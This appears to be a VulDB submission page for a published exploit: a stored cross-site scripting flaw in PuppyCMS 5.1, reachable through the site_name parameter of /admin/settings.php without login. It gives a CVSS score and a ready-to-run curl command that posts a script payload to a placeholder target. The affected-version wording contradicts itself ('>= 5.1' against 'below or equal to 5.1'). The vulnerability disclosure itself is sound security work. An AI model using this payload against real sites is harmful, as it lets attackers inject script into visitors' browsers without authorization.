Submeter #48008: PuppyCMS >= 5.1 - Cross-site Scripting Stored

# Exploit Title: PuppyCMS >= 5.1 - Cross-site Scripting Stored
# Date: 2022-10-11
# Exploit Author: Mr Empy
# Vendor Homepage: https://github.com/choregus
# Software Link: https://github.com/choregus/puppyCMS
# Version: >= 5.1
# Tested on: Linux

Title:
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PuppyCMS >= 5.1 - Cross-site Scripting Stored

Summary:
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PuppyCMS versions below or equal to 5.1 are vulnerable to a Cross-site Scripting Stored exploit, which allows the injection of arbitrary Javascript code through the site_name parameter without authentication. Exploitation can be used to manipulate the capabilities of victims' browsers.

Severity Level:
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5.8 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Affected Product:
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PuppyCMS >= v5.1

Steps to Reproduce:
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1. Open your terminal and run this command:

TARGET="http://x.x.x.x/puppyCMS";XSS_PAYLOAD='<script>alert("PuppyCMS XSS")</script>';curl "$TARGET/admin/settings.php" -X POST -d "site_name=$XSS_PAYLOAD&site_root=/&password=&password-repeat=&site_template=top-nav-red&from_email=your%40email.com&submit=Submit"

• Fonte: ⚠️ https://github.com/choregus/puppyCMS
• Utilizador: mrempy (UID 24379)
• Submissão: 12/10/2022 03h24 (há 4 anos)
• Moderação: 12/10/2022 11h25 (8 hours later)
• Estado: Aceite
• Entrada VulDB: 210699 [puppyCMS até 5.1 /admin/settings.php site_name Script de Site Cruzado]
• Pontos: 20